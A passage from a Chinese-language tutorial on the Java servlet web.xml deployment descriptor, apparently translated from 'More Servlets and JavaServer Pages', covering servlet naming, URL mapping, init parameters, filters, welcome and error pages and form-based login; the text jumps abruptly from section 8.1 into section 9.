    l taglib taglib元素對標記庫描述符文件(Tag Libraryu Descriptor file)指定別名。此功能使你能夠更改TLD文件的位置,而不用編輯使用這些文件的JSP頁面。
    l resource-env-ref resource-env-ref元素聲明與資源相關的一個管理對象。
    l resource-ref resource-ref元素聲明一個資源工廠使用的外部資源。
    l security-constraint security-constraint元素制定應該保護的URL。它與login-config元素聯合使用
    l login-config 用login-config元素來指定服務器應該怎樣給試圖訪問受保護頁面的用戶授權。它與sercurity-constraint元素聯合使用。
    l security-role security-role元素給出安全角色的一個列表,這些角色將出現在servlet元素內的security-role-ref元素的role-name子元素中。分別地聲明角色可使高級IDE處理安全信息更為容易。
    l env-entry env-entry元素聲明Web應用的環境項。
    l ejb-ref ejb-ref元素聲明一個EJB的主目錄的引用。
    l ejb-local-ref ejb-local-ref元素聲明一個EJB的本地主目錄的應用。

    3 分配名稱和定制的UL

    在web.xml中完成的一個最常見的任務是對servlet或JSP頁面給出名稱和定制的URL。用servlet元素分配名稱,使用servlet-mapping元素將定制的URL與剛分配的名稱相關聯。
    3.1 分配名稱
    為 了提供初始化參數,對servlet或JSP頁面定義一個定制URL或分配一個安全角色,必須首先給servlet或JSP頁面一個名稱。可通過 servlet元素分配一個名稱。最常見的格式包括servlet-name和servlet-class子元素(在web-app元素內),如下所示:
    <servlet>
    <servlet-name>Test</servlet-name>
    <servlet-class>moreservlets.TestServlet</servlet-class>
    </servlet>
    這 表示位于WEB-INF/classes/moreservlets/TestServlet的servlet已經得到了注冊名Test。給 servlet一個名稱具有兩個主要的含義。首先,初始化參數、定制的URL模式以及其他定制通過此注冊名而不是類名引用此servlet。其次,可在 URL而不是類名中使用此名稱。因此,利用剛才給出的定義,URL http://host/webAppPrefix/servlet/Test 可用于 http://host/webAppPrefix/servlet/moreservlets.TestServlet 的場所。
    請 記住:XML元素不僅是大小寫敏感的,而且定義它們的次序也很重要。例如,web-app元素內所有servlet元素必須位于所有servlet- mapping元素(下一小節介紹)之前,而且還要位于5.6節和5.11節討論的與過濾器或文檔相關的元素(如果有的話)之前。類似地,servlet 的servlet-name子元素也必須出現在servlet-class之前。5.2節"部署描述符文件內的元素次序"將詳細介紹這種必需的次序。
    例 如,程序清單5-1給出了一個名為TestServlet的簡單servlet,它駐留在moreservlets程序包中。因為此servlet是扎根 在一個名為deployDemo的目錄中的Web應用的組成部分,所以TestServlet.class放在deployDemo/WEB- INF/classes/moreservlets中。程序清單5-2給出將放置在deployDemo/WEB-INF/內的web.xml文件的一部 分。此web.xml文件使用servlet-name和servlet-class元素將名稱Test與TestServlet.class相關聯。圖 5-1和圖5-2分別顯示利用缺省URL和注冊名調用TestServlet時的結果。

    程序清單5-1 TestServlet.java
    package moreservlets;

    import java.io.*;
    import javax.servlet.*;
    import javax.servlet.http.*;

    /** Simple servlet used to illustrate servlet naming
    * and custom URLs.
    * <P>
    * Taken from More Servlets and JavaServer Pages
    * from Prentice Hall and Sun Microsystems Press,
    * http://www.moreservlets.com/.
    * ? 2002 Marty Hall; may be freely used or adapted.
    */

    public class TestServlet extends HttpServlet {
    public void doGet(HttpServletRequest request,
    HttpServletResponse response)
    throws ServletException, IOException {
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    String uri = request.getRequestURI();
    out.println(ServletUtilities.headWithTitle("Test Servlet") +
    "<BODY BGCOLOR=\"#FDF5E6\">\n" +
    "<H2>URI: " + uri + "</H2>\n" +
    "</BODY></HTML>");
    }
    }


    程序清單5-2 web.xml(說明servlet名稱的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <!-- … -->
    <servlet>
    <servlet-name>Test</servlet-name>
    <servlet-class>moreservlets.TestServlet</servlet-class>
    </servlet>
    <!-- … -->
    </web-app>

    3.2 定義定制的URL
    大多數服務器具有一個缺省的serlvet URL:
    http://host/webAppPrefix/servlet/packageName.ServletName。 雖然在開發中使用這個URL很方便,但是我們常常會希望另一個URL用于部署。例如,可能會需要一個出現在Web應用頂層的URL(如,http: //host/webAppPrefix/Anyname),并且在此URL中沒有servlet項。位于頂層的URL簡化了相對URL的使用。此外,對 許多開發人員來說,頂層URL看上去比更長更麻煩的缺省URL更簡短。
    事實上,有時需要使用定制的URL。比如,你可能想關閉缺省URL映射,以便更好地強制實施安全限制或防止用戶意外地訪問無初始化參數的servlet。如果你禁止了缺省的URL,那么你怎樣訪問servlet呢?這時只有使用定制的URL了。
    為 了分配一個定制的URL,可使用servlet-mapping元素及其servlet-name和url-pattern子元素。Servlet- name元素提供了一個任意名稱,可利用此名稱引用相應的servlet;url-pattern描述了相對于Web應用的根目錄的URL。url- pattern元素的值必須以斜杠(/)起始。
    下面給出一個簡單的web.xml摘錄,它允許使用URL http://host/webAppPrefix/UrlTest而不是http://host/webAppPrefix/servlet/Test或
    http: //host/webAppPrefix/servlet/moreservlets.TestServlet。請注意,仍然需要XML頭、 DOCTYPE聲明以及web-app封閉元素。此外,可回憶一下,XML元素出現地次序不是隨意的。特別是,需要把所有servlet元素放在所有 servlet-mapping元素之前。
    <servlet>
    <servlet-name>Test</servlet-name>
    <servlet-class>moreservlets.TestServlet</servlet-class>
    </servlet>
    <!-- ... -->
    <servlet-mapping>
    <servlet-name>Test</servlet-name>
    <url-pattern>/UrlTest</url-pattern>
    </servlet-mapping>
    URL模式還可以包含通配符。例如,下面的小程序指示服務器發送所有以Web應用的URL前綴開始,以..asp結束的請求到名為BashMS的servlet。
    <servlet>
    <servlet-name>BashMS</servlet-name>
    <servlet-class>msUtils.ASPTranslator</servlet-class>
    </servlet>
    <!-- ... -->
    <servlet-mapping>
    <servlet-name>BashMS</servlet-name>
    <url-pattern>/*.asp</url-pattern>
    </servlet-mapping>
    3.3 命名JSP頁面
    因 為JSP頁面要轉換成sevlet,自然希望就像命名servlet一樣命名JSP頁面。畢竟,JSP頁面可能會從初始化參數、安全設置或定制的URL中 受益,正如普通的serlvet那樣。雖然JSP頁面的后臺實際上是servlet這句話是正確的,但存在一個關鍵的猜疑:即,你不知道JSP頁面的實際 類名(因為系統自己挑選這個名字)。因此,為了命名JSP頁面,可將jsp-file元素替換為servlet-calss元素,如下所示:
    <servlet>
    <servlet-name>Test</servlet-name>
    <jsp-file>/TestPage.jsp</jsp-file>
    </servlet>
    命 名JSP頁面的原因與命名servlet的原因完全相同:即為了提供一個與定制設置(如,初始化參數和安全設置)一起使用的名稱,并且,以便能更改激活 JSP頁面的URL(比方說,以便多個URL通過相同頁面得以處理,或者從URL中去掉.jsp擴展名)。但是,在設置初始化參數時,應該注意,JSP頁 面是利用jspInit方法,而不是init方法讀取初始化參數的。
    例如,程序清單5-3給出一個名為TestPage.jsp的簡單JSP頁面,它的工作只是打印出用來激活它的URL的本地部分。TestPage.jsp放置在deployDemo應用的頂層。程序清單5-4給出了用來分配一個注冊名PageName,然后將此注冊名與http://host/webAppPrefix/UrlTest2/anything 形式的URL相關聯的web.xml文件(即,deployDemo/WEB-INF/web.xml)的一部分。

    程序清單5-3 TestPage.jsp
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <HTML>
    <HEAD>
    <TITLE>
    JSP Test Page
    </TITLE>
    </HEAD>
    <BODY BGCOLOR="#FDF5E6">
    <H2>URI: <%= request.getRequestURI() %></H2>
    </BODY>
    </HTML>


    程序清單5-4 web.xml(說明JSP頁命名的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <!-- ... -->
    <servlet>
    <servlet-name>PageName</servlet-name>
    <jsp-file>/TestPage.jsp</jsp-file>
    </servlet>
    <!-- ... -->
    <servlet-mapping>
    <servlet-name> PageName </servlet-name>
    <url-pattern>/UrlTest2/*</url-pattern>
    </servlet-mapping>
    <!-- ... -->
    </web-app>


    4 禁止激活器servlet

    對servlet 或JSP頁面建立定制URL的一個原因是,這樣做可以注冊從 init(servlet)或jspInit(JSP頁面)方法中讀取得初始化參數。但是,初始化參數只在是利用定制URL模式或注冊名訪問 servlet或JSP頁面時可以使用,用缺省URL http://host/webAppPrefix/servlet/ServletName 訪問時不能使用。因此,你可能會希望關閉缺省URL,這樣就不會有人意外地調用初始化servlet了。這個過程有時稱為禁止激活器servlet,因為 多數服務器具有一個用缺省的servlet URL注冊的標準servlet,并激活缺省的URL應用的實際servlet。
    有兩種禁止此缺省URL的主要方法:
    l 在每個Web應用中重新映射/servlet/模式。
    l 全局關閉激活器servlet。
    重 要的是應該注意到,雖然重新映射每個Web應用中的/servlet/模式比徹底禁止激活servlet所做的工作更多,但重新映射可以用一種完全可移植 的方式來完成。相反,全局禁止激活器servlet完全是針對具體機器的,事實上有的服務器(如ServletExec)沒有這樣的選擇。下面的討論對每 個Web應用重新映射/servlet/ URL模式的策略。后面提供在Tomcat中全局禁止激活器servlet的詳細內容。
    4.1 重新映射/servlet/URL模式
    在一個特定的Web應用中禁止以http://host/webAppPrefix/servlet/ 開始的URL的處理非常簡單。所需做的事情就是建立一個錯誤消息servlet,并使用前一節討論的url-pattern元素將所有匹配請求轉向該 servlet。只要簡單地使用:
    <url-pattern>/servlet/*</url-pattern>
    作為servlet-mapping元素中的模式即可。
    例如,程序清單5-5給出了將SorryServlet servlet(程序清單5-6)與所有以http://host/webAppPrefix/servlet/ 開頭的URL相關聯的部署描述符文件的一部分。

    程序清單5-5 web.xml(說明JSP頁命名的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <!-- ... -->
    <servlet>
    <servlet-name>Sorry</servlet-name>
    <servlet-class>moreservlets.SorryServlet</servlet-class>
    </servlet>
    <!-- ... -->
    <servlet-mapping>
    <servlet-name> Sorry </servlet-name>
    <url-pattern>/servlet/*</url-pattern>
    </servlet-mapping>
    <!-- ... -->
    </web-app>


    程序清單5-6 SorryServlet.java
    package moreservlets;

    import java.io.*;
    import javax.servlet.*;
    import javax.servlet.http.*;

    /** Simple servlet used to give error messages to
    * users who try to access default servlet URLs
    * (i.e., http://host/webAppPrefix/servlet/ServletName)
    * in Web applications that have disabled this
    * behavior.
    * <P>
    * Taken from More Servlets and JavaServer Pages
    * from Prentice Hall and Sun Microsystems Press,
    * http://www.moreservlets.com/.
    * ? 2002 Marty Hall; may be freely used or adapted.
    */

    public class SorryServlet extends HttpServlet {
    public void doGet(HttpServletRequest request,
    HttpServletResponse response)
    throws ServletException, IOException {
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    String title = "Invoker Servlet Disabled.";
    out.println(ServletUtilities.headWithTitle(title) +
    "<BODY BGCOLOR=\"#FDF5E6\">\n" +
    "<H2>" + title + "</H2>\n" +
    "Sorry, access to servlets by means of\n" +
    "URLs that begin with\n" +
    "http://host/webAppPrefix/servlet/\n" +
    "has been disabled.\n" +
    "</BODY></HTML>");
    }

    public void doPost(HttpServletRequest request,
    HttpServletResponse response)
    throws ServletException, IOException {
    doGet(request, response);
    }
    }


    4.2 全局禁止激活器:Tomcat
    Tomcat 4中用來關閉缺省URL的方法與Tomcat 3中所用的很不相同。下面介紹這兩種方法:
    1.禁止激活器: Tomcat 4
    Tomcat 4用與前面相同的方法關閉激活器servlet,即利用web.xml中的url-mapping元素進行關閉。不同之處在于Tomcat使用了放在 install_dir/conf中的一個服務器專用的全局web.xml文件,而前面使用的是存放在每個Web應用的WEB-INF目錄中的標準 web.xml文件。
    因此,為了在Tomcat 4中關閉激活器servlet,只需在install_dir/conf/web.xml中簡單地注釋出/servlet/* URL映射項即可,如下所示:
    <!--
    <servlet-mapping>
    <servlet-name>invoker</servlet-name>
    <url-pattern>/servlet/*</url-pattern>
    </servlet-mapping>
    -->
    再次提醒,應該注意這個項是位于存放在install_dir/conf的Tomcat專用的web.xml文件中的,此文件不是存放在每個Web應用的WEB-INF目錄中的標準web.xml。
    2.禁止激活器:Tomcat3
    在Apache Tomcat的版本3中,通過在install_dir/conf/server.xml中注釋出InvokerInterceptor項全局禁止缺省 servlet URL。例如,下面是禁止使用缺省servlet URL的server.xml文件的一部分。
    <!--
    <RequsetInterceptor
    className="org.apache.tomcat.request.InvokerInterceptor"
    debug="0" prefix="/servlet/" />
    -->

    5 初始化和預裝載servlet與JSP頁面

    這里討論控制servlet和JSP頁面的啟動行為的方法。特別是,說明了怎樣分配初始化參數以及怎樣更改服務器生存期中裝載servlet和JSP頁面的時刻。
    5.1 分配servlet初始化參數
    利 用init-param元素向servlet提供初始化參數,init-param元素具有param-name和param-value子元素。例如, 在下面的例子中,如果initServlet servlet是利用它的注冊名(InitTest)訪問的,它將能夠從其方法中調用getServletConfig(). getInitParameter("param1")獲得"Value 1",調用getServletConfig().getInitParameter("param2")獲得"2"。
    <servlet>
    <servlet-name>InitTest</servlet-name>
    <servlet-class>moreservlets.InitServlet</servlet-class>
    <init-param>
    <param-name>param1</param-name>
    <param-value>value1</param-value>
    </init-param>
    <init-param>
    <param-name>param2</param-name>
    <param-value>2</param-value>
    </init-param>
    </servlet>
    在涉及初始化參數時,有幾點需要注意:
    l 返回值。GetInitParameter的返回值總是一個String。因此,在前一個例子中,可對param2使用Integer.parseInt獲得一個int。
    l JSP中的初始化。JSP頁面使用jspInit而不是init。JSP頁面還需要使用jsp-file元素代替servlet-class。
    l 缺省URL。初始化參數只在通過它們的注冊名或與它們注冊名相關的定制URL模式訪問Servlet時可以使用。因此,在這個例子中,param1和 param2初始化參數將能夠在使用URL http://host/webAppPrefix/servlet/InitTest 時可用,但在使用URL http://host/webAppPrefix/servlet/myPackage.InitServlet 時不能使用。
    例如,程序清單5-7給出一個名為InitServlet的簡單servlet,它使用init方法設置firstName和emailAddress字段。程序清單5-8給出分配名稱InitTest給servlet的web.xml文件。
    程序清單5-7 InitServlet.java
    package moreservlets;

    import java.io.*;
    import javax.servlet.*;
    import javax.servlet.http.*;

    /** Simple servlet used to illustrate servlet
    * initialization parameters.
    * <P>
    * Taken from More Servlets and JavaServer Pages
    * from Prentice Hall and Sun Microsystems Press,
    * http://www.moreservlets.com/.
    * ? 2002 Marty Hall; may be freely used or adapted.
    */

    public class InitServlet extends HttpServlet {
    private String firstName, emailAddress;

    public void init() {
    ServletConfig config = getServletConfig();
    firstName = config.getInitParameter("firstName");
    emailAddress = config.getInitParameter("emailAddress");
    }

    public void doGet(HttpServletRequest request,
    HttpServletResponse response)
    throws ServletException, IOException {
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    String uri = request.getRequestURI();
    out.println(ServletUtilities.headWithTitle("Init Servlet") +
    "<BODY BGCOLOR=\"#FDF5E6\">\n" +
    "<H2>Init Parameters:</H2>\n" +
    "<UL>\n" +
    "<LI>First name: " + firstName + "\n" +
    "<LI>Email address: " + emailAddress + "\n" +
    "</UL>\n" +
    "</BODY></HTML>");
    }
    }


    程序清單5-8 web.xml(說明初始化參數的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <!-- ... -->
    <servlet>
    <servlet-name>InitTest</servlet-name>
    <servlet-class>moreservlets.InitServlet</servlet-class>
    <init-param>
    <param-name>firstName</param-name>
    <param-value>Larry</param-value>
    </init-param>
    <init-param>
    <param-name>emailAddress</param-name>
    <param-value>Ellison@Microsoft.com</param-value>
    </init-param>
    </servlet>
    <!-- ... -->
    </web-app>

    5.2 分配JSP初始化參數
    給JSP頁面提供初始化參數在三個方面不同于給servlet提供初始化參數。
    1)使用jsp-file而不是servlet-class。因此,WEB-INF/web.xml文件的servlet元素如下所示:
    <servlet>
    <servlet-name>PageName</servlet-name>
    <jsp-file>/RealPage.jsp</jsp-file>
    <init-param>
    <param-name>...</param-name>
    <param-value>...</param-value>
    </init-param>
    ...
    </servlet>
    2) 幾乎總是分配一個明確的URL模式。對servlet,一般相應地使用以http://host/webAppPrefix/servlet/ 開始的缺省URL。只需記住,使用注冊名而不是原名稱即可。這對于JSP頁面在技術上也是合法的。例如,在上面給出的例子中,可用URL http://host/webAppPrefix/servlet/PageName 訪問RealPage.jsp的對初始化參數具有訪問權的版本。但在用于JSP頁面時,許多用戶似乎不喜歡應用常規的servlet的URL。此外,如果 JSP頁面位于服務器為其提供了目錄清單的目錄中(如,一個既沒有index.html也沒有index.jsp文件的目錄),則用戶可能會連接到此 JSP頁面,單擊它,從而意外地激活未初始化的頁面。因此,好的辦法是使用url-pattern(5.3節)將JSP頁面的原URL與注冊的 servlet名相關聯。這樣,客戶機可使用JSP頁面的普通名稱,但仍然激活定制的版本。例如,給定來自項目1的servlet定義,可使用下面的 servlet-mapping定義:
    <servlet-mapping>
    <servlet-name>PageName</servlet-name>
    <url-pattern>/RealPage.jsp</url-pattern>
    </servlet-mapping>
    3)JSP頁使用jspInit而不是init。自動從JSP頁面建立的servlet或許已經使用了inti方法。因此,使用JSP聲明提供一個init方法是不合法的,必須制定jspInit方法。
    為了說明初始化JSP頁面的過程,程序清單5-9給出了一個名為InitPage.jsp的JSP頁面,它包含一個jspInit方法且放置于 deployDemo Web應用層次結構的頂層。一般,http://host/deployDemo/InitPage.jsp 形式的URL將激活此頁面的不具有初始化參數訪問權的版本,從而將對firstName和emailAddress變量顯示null。但是, web.xml文件(程序清單5-10)分配了一個注冊名,然后將該注冊名與URL模式/InitPage.jsp相關聯。

    程序清單5-9 InitPage.jsp
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <HTML>
    <HEAD><TITLE>JSP Init Test</TITLE></HEAD>
    <BODY BGCOLOR="#FDF5E6">
    <H2>Init Parameters:</H2>
    <UL>
    <LI>First name: <%= firstName %>
    <LI>Email address: <%= emailAddress %>
    </UL>
    </BODY></HTML>
    <%!
    private String firstName, emailAddress;

    public void jspInit() {
    ServletConfig config = getServletConfig();
    firstName = config.getInitParameter("firstName");
    emailAddress = config.getInitParameter("emailAddress");
    }
    %>


    程序清單5-10 web.xml(說明JSP頁面的init參數的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <!-- ... -->
    <servlet>
    <servlet-name>InitPage</servlet-name>
    <jsp-file>/InitPage.jsp</jsp-file>
    <init-param>
    <param-name>firstName</param-name>
    <param-value>Bill</param-value>
    </init-param>
    <init-param>
    <param-name>emailAddress</param-name>
    <param-value>gates@oracle.com</param-value>
    </init-param>
    </servlet>
    <!-- ... -->
    <servlet-mapping>
    <servlet-name> InitPage</servlet-name>
    <url-pattern>/InitPage.jsp</url-pattern>
    </servlet-mapping>
    <!-- ... -->
    </web-app>


    5.3 提供應用范圍內的初始化參數
    一 般,對單個地servlet或JSP頁面分配初始化參數。指定的servlet或JSP頁面利用ServletConfig的 getInitParameter方法讀取這些參數。但是,在某些情形下,希望提供可由任意servlet或JSP頁面借助ServletContext 的getInitParameter方法讀取的系統范圍內的初始化參數。
    可利用context-param元素聲明這些系統范圍內的初始化值。context-param元素應該包含param-name、param-value以及可選的description子元素,如下所示:
    <context-param>
    <param-name>support-email</param-name>
    <param-value>blackhole@mycompany.com</param-value>
    </context-param>
    可 回憶一下,為了保證可移植性,web.xml內的元素必須以正確的次序聲明。但這里應該注意,context-param元素必須出現任意與文檔有關的元 素(icon、display-name或description)之后及filter、filter-mapping、listener或 servlet元素之前。
    5.4 在服務器啟動時裝載servlet
    假如servlet或JSP頁面有一個要花很長時間執行的init (servlet)或jspInit(JSP)方法。例如,假如init或jspInit方法從某個數據庫或ResourceBundle查找產量。這種 情況下,在第一個客戶機請求時裝載servlet的缺省行為將對第一個客戶機產生較長時間的延遲。因此,可利用servlet的load-on- startup元素規定服務器在第一次啟動時裝載servlet。下面是一個例子。
    <servlet>
    <servlet-name> … </servlet-name>
    <servlet-class> … </servlet-class> <!-- or jsp-file -->
    <load-on-startup/>
    </servlet>
    可 以為此元素體提供一個整數而不是使用一個空的load-on-startup。想法是服務器應該在裝載較大數目的servlet或JSP頁面之前裝載較少 數目的servlet或JSP頁面。例如,下面的servlet項(放置在Web應用的WEB-INF目錄下的web.xml文件中的web-app元素 內)將指示服務器首先裝載和初始化SearchServlet,然后裝載和初始化由位于Web應用的result目錄中的index.jsp文件產生的 servlet。
    <servlet>
    <servlet-name>Search</servlet-name>
    <servlet-class>myPackage.SearchServlet</servlet-class> <!-- or jsp-file -->
    <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet>
    <servlet-name>Results</servlet-name>
    <servlet-class>/results/index.jsp</servlet-class> <!-- or jsp-file -->
    <load-on-startup>2</load-on-startup>
    </servlet>

    6 聲明過濾器

    servlet版本2.3引入了過濾器的概念。雖然所有支持servlet API版本2.3的服務器都支持過濾器,但為了使用與過濾器有關的元素,必須在web.xml中使用版本2.3的DTD。
    過 濾器可截取和修改進入一個servlet或JSP頁面的請求或從一個servlet或JSP頁面發出的相應。在執行一個servlet或JSP頁面之前, 必須執行第一個相關的過濾器的doFilter方法。在該過濾器對其FilterChain對象調用doFilter時,執行鏈中的下一個過濾器。如果沒 有其他過濾器,servlet或JSP頁面被執行。過濾器具有對到來的ServletRequest對象的全部訪問權,因此,它們可以查看客戶機名、查找 到來的cookie等。為了訪問servlet或JSP頁面的輸出,過濾器可將響應對象包裹在一個替身對象(stand-in object)中,比方說把輸出累加到一個緩沖區。在調用FilterChain對象的doFilter方法之后,過濾器可檢查緩沖區,如有必要,就對它 進行修改,然后傳送到客戶機。
    例如,程序清單5-11定義了一個簡單的過濾器,只要訪問相關的servlet或JSP頁面,它就截取請求并在標準輸出上打印一個報告(開發過程中在桌面系統上運行時,大多數服務器都可以使用這個過濾器)。

    程序清單5-11 ReportFilter.java
    package moreservlets;

    import java.io.*;
    import javax.servlet.*;
    import javax.servlet.http.*;
    import java.util.*;

    /** Simple filter that prints a report on the standard output
    * whenever the associated servlet or JSP page is accessed.
    * <P>
    * Taken from More Servlets and JavaServer Pages
    * from Prentice Hall and Sun Microsystems Press,
    * http://www.moreservlets.com/.
    * ? 2002 Marty Hall; may be freely used or adapted.
    */

    public class ReportFilter implements Filter {
    public void doFilter(ServletRequest request,
    ServletResponse response,
    FilterChain chain)
    throws ServletException, IOException {
    HttpServletRequest req = (HttpServletRequest)request;
    System.out.println(req.getRemoteHost() +
    " tried to access " +
    req.getRequestURL() +
    " on " + new Date() + ".");
    chain.doFilter(request,response);
    }

    public void init(FilterConfig config)
    throws ServletException {
    }

    public void destroy() {}
    }

    一 旦建立了一個過濾器,可以在web.xml中利用filter元素以及filter-name(任意名稱)、file-class(完全限定的類名)和 (可選的)init-params子元素聲明它。請注意,元素在web.xml的web-app元素中出現的次序不是任意的;允許服務器(但不是必需的) 強制所需的次序,并且實際中有些服務器也是這樣做的。但這里要注意,所有filter元素必須出現在任意filter-mapping元素之前, filter-mapping元素又必須出現在所有servlet或servlet-mapping元素之前。
    例如,給定上述的ReportFilter類,可在web.xml中作出下面的filter聲明。它把名稱Reporter與實際的類ReportFilter(位于moreservlets程序包中)相關聯。
    <filter>
    <filter-name>Reporter</filter-name>
    <filter-class>moresevlets.ReportFilter</filter-class>
    </filter>
    一旦命名了一個過濾器,可利用filter-mapping元素把它與一個或多個servlet或JSP頁面相關聯。關于此項工作有兩種選擇。
    首 先,可使用filter-name和servlet-name子元素把此過濾器與一個特定的servlet名(此servlet名必須稍后在相同的 web.xml文件中使用servlet元素聲明)關聯。例如,下面的程序片斷指示系統只要利用一個定制的URL訪問名為SomeServletName 的servlet或JSP頁面,就運行名為Reporter的過濾器。
    <filter-mapping>
    <filter-name>Reporter</filter-name>
    <servlet-name>SomeServletName</servlet-name>
    </filter-mapping>
    其次,可利用filter-name和url-pattern子元素將過濾器與一組servlet、JSP頁面或靜態內容相關聯。例如,相面的程序片段指示系統只要訪問Web應用中的任意URL,就運行名為Reporter的過濾器。
    <filter-mapping>
    <filter-name>Reporter</filter-name>
    <url-pattern>/*</url-pattern>
    </filter-mapping>
    例 如,程序清單5-12給出了將ReportFilter過濾器與名為PageName的servlet相關聯的web.xml文件的一部分。名字 PageName依次又與一個名為TestPage.jsp的JSP頁面以及以模式http: //host/webAppPrefix/UrlTest2/ 開頭的URL相關聯。TestPage.jsp的源代碼已經JSP頁面命名的談論在前面的3節"分配名稱和定制的URL"中給出。事實上,程序清單5- 12中的servlet和servlet-name項從該節原封不動地拿過來的。給定這些web.xml項,可看到下面的標準輸出形式的調試報告(換行是 為了容易閱讀)。
    audit.irs.gov tried to access
    http://mycompany.com/deployDemo/UrlTest2/business/tax-plan.html
    on Tue Dec 25 13:12:29 EDT 2001.

    程序清單5-12 Web.xml(說明filter用法的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <filter>
    <filter-name>Reporter</filter-name>
    <filter-class>moresevlets.ReportFilter</filter-class>
    </filter>
    <!-- ... -->
    <filter-mapping>
    <filter-name>Reporter</filter-name>
    <servlet-name>PageName</servlet-name>
    </filter-mapping>
    <!-- ... -->
    <servlet>
    <servlet-name>PageName</servlet-name>
    <jsp-file>/RealPage.jsp</jsp-file>
    </servlet>
    <!-- ... -->
    <servlet-mapping>
    <servlet-name> PageName </servlet-name>
    <url-pattern>/UrlTest2/*</url-pattern>
    </servlet-mapping>
    <!-- ... -->
    </web-app>


    7 指定歡迎頁

    假 如用戶提供了一個像http: //host/webAppPrefix/directoryName/ 這樣的包含一個目錄名但沒有包含文件名的URL,會發生什么事情呢?用戶能得到一個目錄表?一個錯誤?還是標準文件的內容?如果得到標準文件內容,是 index.html、index.jsp、default.html、default.htm或別的什么東西呢?
    Welcome-file-list 元素及其輔助的welcome-file元素解決了這個模糊的問題。例如,下面的web.xml項指出,如果一個URL給出一個目錄名但未給出文件名,服 務器應該首先試用index.jsp,然后再試用index.html。如果兩者都沒有找到,則結果有賴于所用的服務器(如一個目錄列表)。
    <welcome-file-list>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>index.html</welcome-file>
    </welcome-file-list>
    雖然許多服務器缺省遵循這種行為,但不一定必須這樣。因此,明確地使用welcom-file-list保證可移植性是一種良好的習慣。

    8 指定處理錯誤的頁面

    現 在我了解到,你在開發servlet和JSP頁面時從不會犯錯誤,而且你的所有頁面是那樣的清晰,一般的程序員都不會被它們的搞糊涂。但是,是人總會犯錯 誤的,用戶可能會提供不合規定的參數,使用不正確的URL或者不能提供必需的表單字段值。除此之外,其它開發人員可能不那么細心,他們應該有些工具來克服 自己的不足。
    error-page元素就是用來克服這些問題的。它有兩個可能的子元素,分別是:error-code和exception- type。第一個子元素error-code指出在給定的HTTP錯誤代碼出現時使用的URL。第二個子元素excpetion-type指出在出現某個 給定的Java異常但未捕捉到時使用的URL。error-code和exception-type都利用location元素指出相應的URL。此 URL必須以/開始。location所指出的位置處的頁面可通過查找HttpServletRequest對象的兩個專門的屬性來訪問關于錯誤的信息, 這兩個屬性分別是:javax.servlet.error.status_code和javax.servlet.error.message。
    可回憶一下,在web.xml內以正確的次序聲明web-app的子元素很重要。這里只要記住,error-page出現在web.xml文件的末尾附近,servlet、servlet-name和welcome-file-list之后即可。

    8.1 error-code元素
    為 了更好地了解error-code元素的值,可考慮一下如果不正確地輸入文件名,大多數站點會作出什么反映。這樣做一般會出現一個404錯誤信息,它表示 不能找到該文件,但幾乎沒提供更多有用的信息。另一方面,可以試一下在www.microsoft.com、www.ibm.com 處或者特別是在www.bea.com 處輸出未知的文件名。這是會得出有用的消息,這些消息提供可選擇的位置,以便查找感興趣的頁面。提供這樣有用的錯誤頁面對于Web應用來說是很有價值得。 事實上rm-error-page子元素)。由form-login-page給出的HTML表單必須具有一個j_security_check的 ACTION屬性、一個名為j_username的用戶名文本字段以及一個名為j_password的口令字段。
    例如,程序清單5-19指示服務器使用基于表單的驗證。Web應用的頂層目錄中的一個名為login.jsp的頁面將收集用戶名和口令,并且失敗的登陸將由相同目錄中名為login-error.jsp的頁面報告。

    程序清單5-19 web.xml(說明login-config的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <!-- ... -->
    <security-constraint> ... </security-constraint>
    <login-config>
    <auth-method> FORM </auth-method>
    <form-login-config>
    <form-login-page>/login.jsp</form-login-page>
    <form-error-page>/login-error.jsp</form-error-page>
    </form-login-config>
    </login-config>
    <!-- ... -->
    </web-app>


    9.2 限制對Web資源的訪問
    現 在,可以指示服務器使用何種驗證方法了。"了不起,"你說道,"除非我能指定一個來受到保護的 URL,否則沒有多大用處。"沒錯。指出這些URL并說明他們應該得到何種保護正是security-constriaint元素的用途。此元素在 web.xml中應該出現在login-config的最前面。它包含四個可能的子元素,分別是:web-resource-collection、 auth-constraint、user-data-constraint和display-name。下面各小節對它們進行介紹。
    l web-resource-collection
